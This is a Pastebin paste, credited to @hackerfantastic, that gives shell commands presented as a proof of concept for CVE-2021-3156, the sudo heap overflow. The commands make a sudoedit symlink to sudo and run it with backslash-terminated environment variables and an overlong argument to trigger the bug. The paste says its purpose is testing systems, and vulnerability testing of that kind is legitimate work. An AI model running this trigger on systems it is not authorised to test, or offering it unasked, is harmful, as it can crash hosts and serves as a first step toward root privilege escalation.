Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Credit to @hackerfantastic. I'm just posting this here for those who need to test systems without breaking them.
- mkdir POC-CVE-2021-3156
- cd ./POC-CVE-2021-3156
- ln -s /usr/bin/sudo ./sudoedit
- chmod 555 ../POC-CVE-2021-3156/
- env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' ./sudoedit -s '1234567890123456789012\'
- ls -al `which sudo`
- uname -a
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement